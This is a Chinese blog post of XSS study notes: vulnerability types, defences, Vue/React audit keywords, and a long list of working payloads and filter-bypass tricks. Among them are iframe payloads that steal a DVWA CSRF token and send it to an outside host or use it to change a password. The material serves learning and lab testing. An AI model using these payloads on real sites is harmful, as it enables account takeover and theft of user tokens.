xss跨站脚本

发布时间 2023-03-23 16:07:57作者: 少年阿丁

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)
是一种网站应用程序的安全漏洞攻击,是代码注入的一种。
它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。
这类攻击通常包含了HTML以及用户端脚本语言。 
XSS攻击通常指的是通过利用网页开发时留下的漏洞,
通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。

储存型XSS:
一般是构造一个比如说"<script>alert("XSS")</script>"的JS的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。

反射型XSS:
一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="><script>alert("xss")</script>,也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。

dom型:
一般不经过后端
常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的

防御:
1.输入检查
常见的Web漏掉都会要求攻击者构造一些特殊的字符,这些特殊的字符可能使正常用户不会用到的,所有输入检查就有存在的必要。比如,邮件、电话号码、生日信息等格式检查。需要强调的是,输入检查的逻辑必须放在服务器端,因为如果在JavaScript端实现的话,很容易被攻击者绕过
2.安全的编码函数
HTMl的编码方式是HtmlEncode,它是一种函数实现,作用是将字符转成HTMLEntities,对应的标准是ISO-8859-1。为了对抗XSS,HtmlEncode至少要求转义如下字符:& --> &amp; <、--> &lt; 、> --> &gt; 、" --> &quot; 、/ --> &#x2F; 。
3.HttpOnly
浏览器会禁止JavaScript访问带有httponly标示的cookie,从而可以达到防止攻击者窃取用户cookie,可以根据自己需要,选择相应的cookie加上httponly标示,如:header("Set-Cookie:cookie1=test;httponly",false),添加httponly属性的过程简单,效果明显,但如果业务非常复杂,则需要在所有的set-cookie的地方加上该标示,漏掉任何一个都有可能使该方案失效

挖掘步骤:
找到可能存在漏洞的地方,查看是否有进行处理,没有处理进行相应攻击测试,成功发现漏洞

对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing;同样是Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。

输出点为HTML标签的文本区域<textarea>输出点</textarea>
<script>alert(1)</script>
输出点为html标签的属性值<input type="text" name="address" value="输出点">
"><script>alert(1)</script>
" onfocus="alert(1)
输出点为JavaScript脚本中的字符串<script>var a=”输出点”; </script>
“; alert(1); var b=”
';alert(1);</script>//
输出点为以URL位置的属性值<a href="输出点">click here</a><embed src="输出点"><iframe src="输出点"><object data="输出点">
" onfocus="alert(1)
"><script>alert(1)</script>
javascript:alert(1);

【浏览器解析过程】
浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。下面以一篇HTML文档解析来简单的讨论下解析器如何协同工作的。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。每个解析过程中也有许多细节,下面再做具体讨论。
基本概念
【HTML字符实体】:在呈现HTML页面时,针对某些特殊字符如“<”或”>”直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在HTML页面呈现特殊字符就需要用到其对应的字符实体。字符实体是一个预先定义好的转义序列,它定义了一些无法在文本内容中输入的字符或符号。字符实体以&开头+预先定义的实体名称,以分号结束,如“<”的实体名称为&lt; 或以&开头+#符号以及字符的十进制数字,如”<”的实体编号为&#60;,字符都是有实体编号的但有些字符没有实体名称。
【JavaScript编码】:最常用的如“\uXXXX”这种写法为Unicode转义序列,表示一个字符,其中xxxx表示一个16进制数字,如”<” Unicode编码为“\u003c”。
【URL编码】:%加字符的ASCII编码对于的2位16进制数字,如”/”对应的URL编码为%2f。

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<sc<script>ript>alert(/xss/)</script>
<img src=1 onerror="setInterval('alert(\"Hello\");', 5000);">
<img src=1 onerror=print(1)>
<img src=x onerror="a='ale';b='rt';c='(1)';eval(a+b+c)">        ##eval()可以将字符串拼接成可执行脚本
<IMG SRC="javascript:alert(1);">
<IMG SRC=javascript:alert(1)>
<IMG SRC=JaVaScRiPt:alert(1)>
<a href=javascript:alert(1)>
<a href=javascript:top["al"+"ert"](1)>
<script>top["al"+"ert"](1)</script>
<details ontoggle=top['al'+'ert'](1) open >
<svg/onload=alert(1)>
<svg%0aonload=alert(1)>
<body onload=alert(1)>
<script>while(1)(window.open());</script>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="javascript:alert(222)"></iframe>
<input onblur=alert`1`>111</input>

<img src="app/assets/img/details/loading.png" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<video onloadstart=[1].find(alert) source src>
<a href="javascript:%0a%61l\u0065rt(1)">click me</a><a href='javascript:%0a%61l\u0065rt(1)'>click me</a>
<svg><animate onbegin=alert`hgj` attributeName=x dur=1s>
<details ontoggle=alert`1` open>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>///PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
<a href=j&#x61;vascript:&#x61;lert(1)>11</a>
<a/href="%25%36%61avaScript:%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34(1)">click me</a>
<a/href="j    avaScript:al
ert(1)">click me</a>
  <a href="ja    va
sc    ri
p    t:ale    rt(11)">click me..........</a>
<a href="j    avascript:eval('a\x6cert(1)')">111222</a>    【【【利用tab和回车绕过过滤。需要"号包围?】】】
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>    【【【data协议】】】img标签data协议不解析js脚本
<object data="data:text/html;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(555)</script>"></iframe>
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoJ3hzcycpIj48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgLz48L2E+Cjwvc3ZnPg==#rectangle" />
</svg>

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert('xss')"><rect x="0" y="0" width="100" height="100" /></a>
</svg>

<svg onload="alert(1)" id="m7" version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100"></svg>
<style>@keyframes x{}</style><svg style='animation-name:x' onanimationend='alert(789)'></svg><!--使用样式的事件比较冷门-->
<a href=javascript:eval("alert(111);var&#x20;x=new&#x20;XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var&#x20;d=x.responseText;alert(d);")>99999999</a>
<a href=javascript:eval("var&#x20;a=111;alert(a);alert('222')")>88888888</a>

a=alert,a(1)
[1].find(alert)
top['al'+'ert'](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
setTimeout('ale'+'rt(1)');                        eval()  setTimeout()   setInterval()


(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al&#x65rt(1)
alu0065rt(1)  //未触发成功
top['al145rt'](1)  //未触发成功
top['alx65rt'](1)  //未触发成功
top[8680439..toString(30)](1)


其他

XSS 常见攻击方法
1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;

2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)

*3、【【【【回车和 Tab】】】。如果 XSS Filter 仅仅将敏感的输入字符列入**,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>;

4、利用事件来执行跨站脚本。例如:<img src=“#” “alert(1)”/>,当 src 错误的视乎就会执行 onerror 事件;

5、利用 CSS 跨站。例如:body {backgrund-image: url("javascript:alert('xss')")};

6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>;

*7、【【【【利用字符编码】】】】,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;html编码,url编码,对js进行各种编码( JS 支持 unicode、eacapes、十六进制、十、八进制等编码形式);
<script>a\u006cert(1);</script>                    unicode
<script>eval('a\x6cert(1)');</script>                    十六进制
<script>eval('a\154ert(1)');</script><script>top['al\145rt'](3);</script>    八进制    需通过eval等函数?


8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;

9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;

10.<abc onclick=alert(1) src=a>Click here</abc>    【【【自定义标签+事件处理器】】】

11.top[](),eval()  setTimeout()   setInterval()  execScript()  Function()等【【【等可以将字符串当作js脚本执行,可以绕过大量黑名单】】】
“top”也可以替换为“window”、“parent”、“self”或“this”


【绕过技巧】
常用的绕过技巧
1)大小写绕过
用于绕过黑名单(校验报错)安全防护。
例如:<ScRipT>alert('XSS')</sCRIpT>
2)双写绕过
用于绕过黑名单(置空方式)安全防护。
例如:<scrscriptipt>alert('XSS')</scrscriptipt>
3)编码绕过
用于绕过黑名单安全防护
十进制编码(同理十六进制,八进制)
<iframe src=alert(1)>
采用十进制编码后
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
注意:标签不能编码,可以不加分好,可以在数字前用0填充,还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方。
4)URL编码绕过
用于后台使用了URL解码的函数场景(URL中的payload肯定支持URL编码)
<script>alert('XSS')</script>
URL编码后
%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
5)Unicode编码绕过
JavaScript支持Unicode编码
Unicode编码后
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
注意:不能编码符号和标签
6)JavaScript伪协议
<a href="alert(1)">xss</a>
支持伪协议的属性有href,lowsrc,bgsound,background,action,dynsr。此方式针对过滤不严谨的系统使用,比如系统只对
JS符号和关键字过滤,但是没有对"javascript"过滤,就可以利用此方法绕过。如果对"javascript"也会过滤,则可以结合其他的绕过技术一起利用,也可能成功绕过。
data伪协议<a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">xxx</a> (老版本浏览器已不支持)
7)`替换括号
<img src="1111" alert`1` />
8)/替换空格
<img/src/onerror=alert(1)>
9)跨站拆分法
用于绕过后台的长度限制,将一个代码通过字符串拼接能力拆分成多条代码。
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<script'</script>
<script>z+='>alert(1'</script>
<script>z+=')</script'</script>
<script>z+='>"'</script>
<script></script>
10)String.fromCharCode()方法
用于黑名单过滤
该方法是JavaScript中的字符串方法,用于把ASCII转换成字符串。
<script>document.writeln(<script>alert("xss")</script>)</script>用String.fromCharCode表示后的形式如下:
<script>document.writeln(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,34,41,59,60,47,115,99,114,105,112,116,62))</script>
这个方法需要使用<script>标签包裹,或者配合JavaScript伪协议使用

xss漏洞绕过:
1.过滤空格
可以用/代替空格
用url编码,回车换行也能代替空格,%0a,%09,%0d等代替空格
2.过滤分号引号
使用伪协议<a href=javascript:alert(1)>
3.过滤改写 标签属性事件等关键字
可以尝试大小写绕过
通过url编码绕过,或插入制表换行%0a%0d等url编码(需要在url中注入)
构造不常用的标签进行注入(过滤标签)
4.过滤一些自带的方法
可以拼接字符串绕过(如过滤alert()、Javascript 可以用)
使用html编码
5.将标签替换为空字符,或删除关键字
可以双写绕过
6.过滤括号
可以alert`1`
7.其他
可以使用tab或回车的方式绕过过滤

=
<>
'"`
想办法在标签中增加事件(尖括号被过滤),或增加新的标签(on事件被过滤)使用伪指令
如果页面可以嵌入其他页面,可以通过其他页面来构造payload   如:ng-include属性可以包含其他HTML文件,需要在同一个域名下
除了在文本框,在地址栏也可以注入,拦截包也可以注入
只要能在页面显示的数据都可以注入payload
优先第一个type如:
<input name="1" value="aaa" type="text"  type="hidden" onclick=alert(2)>
//可以用于注释后面
闭合标签并构造新标签"><a href=javascript:alert(1)><"
闭合属性构造新属性或事件" onclick="alert(1)   或" onclick=alert(1) "   或" onclick=alert(1) //


标签被改写:
直接输入javascript:alert(1)发现script会被识别改写,并且大小写绕过也不行。
那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。
符号    URL编码
制表    %09
换行    %0a
退格    %08
注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。
test.php?keyword=javascr%09ipt%3Aalert(1)

还有一种方法可以使用提交框进行注入:&#x9
把&#x9插入到关键字之中,如下:
javascr&#x9ipt:alert(1)

自动检测URL,如果发现没有带http://内容则会显示为不合法。
javascr&#x9ipt:alert(1) //http://


事件:
onclick=alert(1)
onerror=alert(1)
onmouseover=alert(1)
控制台打印
onclick=console.log(1)

获取其他页面的token
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

<iframe src="../csrf/" onload="window.location.href = 'https://www.baidu.com/?user_token='+frames[0].document.getElementsByName('user_token')[0].value">

跳转
<iframe src="../csrf/" onload="window.location.href='http://10.235.213.26:8081/dvwa/vulnerabilities/xss_r/'">
<iframe src="../csrf/" onload="window.location.href='http://www.baidu.com/'">
http://10.235.213.26:8088/
http://localhost:8088/test1_war_exploded/csrftest2.jsp
file:///D:/csrftest.html
<iframe src="../csrf/" onload="window.location.href='D:/csrftest.html'">
D:/csrftest.html

<iframe src="../csrf/" onload=window.location.href='../xss_r/?name=11'>
<iframe src="../csrf/" onload="a='window.location.href=';b='../xss_r/?name=11';eval(a+b);">
<iframe src="../csrf/" onload="window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" onload=window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" onload="window.location.href='../csrf/?password_new='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" onload=window.location.href="../csrf/?password_new='111'&password_conf='111'&Change='Change'&user_token="+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" onload=window.location.href="../csrf/?password_new=111&password_conf=111&Change=Change&user_token=123">
<iframe src="../csrf/" onload=window.location.href='www.baidu.com/'>
html和url等编码主要是为了使<>"/等失效,防止影响页面和url结构
使用html实体编号绕过的时候,实体编号必须要是标签中的属性值(href=”实体编号”)
或者事件的值(比如οnclick=”实体编号”)这样浏览器才会翻译解析。比如alert()被过滤了就可以用HTML实体编码
过滤了尖括号就想想能否用on事件来触发漏洞。

将数据保存在localStorage
<iframe src="../csrf/" onload="aaa='123';localStorage.setItem('temp',aaa);">
<iframe src="../csrf/" onload=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);>
<iframe src="../csrf/" onload=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);a=JSON.stringify(a);localStorage.setItem("temp2",a);>
<iframe src="../csrf/" onload=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);localStorage.setItem("temp2",a);>

 

cookie、sessionStorage、localStorage
js设置和获取上面中的数据
1.localStorage - 没有时间限制的数据存储 

   var arr=[1,2,3];
   localStorage.setItem("temp",arr); //存入 参数: 1.调用的值 2.所要存入的数据 
   console.log(localStorage.getItem("temp"));//输出

 2.清空localStorage
  localStorage.clear(); //

 3.删除键值对
  localStorage.removeItem("arr"); 
 
/JSON对象转JSON字符串
  var obj = {"a": 1,"b": 2};
  obj=JSON.stringify(obj); //转化为JSON字符串
  localStorage.setItem("temp2", obj);

  //JSON字符串转JSON对象
  obj=JSON.parse(localStorage.getItem("temp2"));


测试弹窗:
alert("aaa")
confirm("aaa")
prompt("sometext","defaultvalue")

 

xss利用
XSS内网代理
XSS获取cookie
XSS内网反弹redis
XSS蠕虫
利用BeEF进行XSS漏洞利用,beff是一种web攻击平台


XSS 如何防御?
从上面的介绍可知,XSS 漏洞是由于对用户提交的数据没有经过严格的过滤处理造成的,所以防御的原则就是不相信用户输入的数据,对输入进行过滤,对输出进行编码。

1、使用 XSS Filter

针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:

表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。

过滤或移除特殊的 html 标签:<script>、<iframe>等。

过滤 js 事件的标签:onclick、onerror、onfocus等。

2、html 实体

当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码,在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。 html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。

显示结果    描述    实体编号
     空格    &nbsp ;
<    小于    &lt ;
>    大于    &gt ;
&    和    &amp ;
''    引号    &quot ;
3、JavaScript编码

这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,除了上面的那些转义之外,还要附加上下面的转义: 
\ 转成 \\

/ 转成 \/

; 转成 ;(全角;)

注意:在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制\xhh 的方式进行编码。

4、Http Only cookie

许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

 

总结
很多地方都可能产生 XSS 漏洞,并且产生的方式不一样,所以对于这些漏洞,我们需要找到正确的方法来防御。XSS 漏洞在不断的发展,上面介绍的防御方法几乎能够解决大部分的 XSS 漏洞,即便这样,我们也不能掉以轻心,为了让 Web 应用更安全,我们还需要结合其他的方法来加强 XSS 防御。

随着科技的不断发展,Web 应用变得越来越复杂,随之而产生的漏洞(不仅限于 XSS ) 也越来越多。没有什么方法能够一次性解决所有安全问题,我们只能在实际的工作过程中,针对不同的安全漏洞进行针对性的防御。

 


######################################
vueXSS排查
######################################

dangerouslyUseHTMLString 

this.$alert("我需要</br>换行",{dangerouslyUseHTMLString:true})
--------------------

    <a :href="url">click me</a>
    <a v-bind:href="url">click me</a>
####
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title><span style="font-weight: bold; color: rgb(229, 51, 51); font-style: italic;">Vue 坏味代码(v-bind场景下XSS攻击成功)</span></title>
<script src="https://cdn.staticfile.org/vue/2.6.14/vue.min.js"></script>
</head>

<body>
<div id="app">
<a v-bind:href="message">lianjie</a>
</div>

<script type="text/javascript">
new Vue({
el: '#app',
data: {
message: 'javascript:alert(1)'
}
})
</script>
</body>
</html>
####
------------

<div id="app">
    {{ message }}
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>

###
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title><span style="font-weight: bold; font-style: italic; color: rgb(229, 51, 51);">Vue 坏味代码(v-html场景下的XSS攻击成功)</span></title>
<script src="https://cdn.staticfile.org/vue/2.6.14/vue.min.js"></script>
</head>

<body>
<div id="app">
<div v-html="message"></div>
</div>

<script type="text/javascript">
new Vue({
el: '#app',
data: {
message: '<img src=x onerror=alert(1)> '
}
})
</script>
</body>
</html>
###

总结:如果我们在对前端项目进行审核的时候,如果发现前端项目是用vue或者react进行编写的话,我们就可以只关注上面的危险函数关键字,避开其他的常规功能,比如全局搜索 如下关键字:
:href
v-bind:href
:src
v-bind:src
v-html
------------------------------
href={
src={
dangerouslySetInnerHTML=

------------------------------
innerHTML
; font-size: 0.8em; padding: 0px 0.5em; background: rgba(224, 224, 224, 0.2); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 0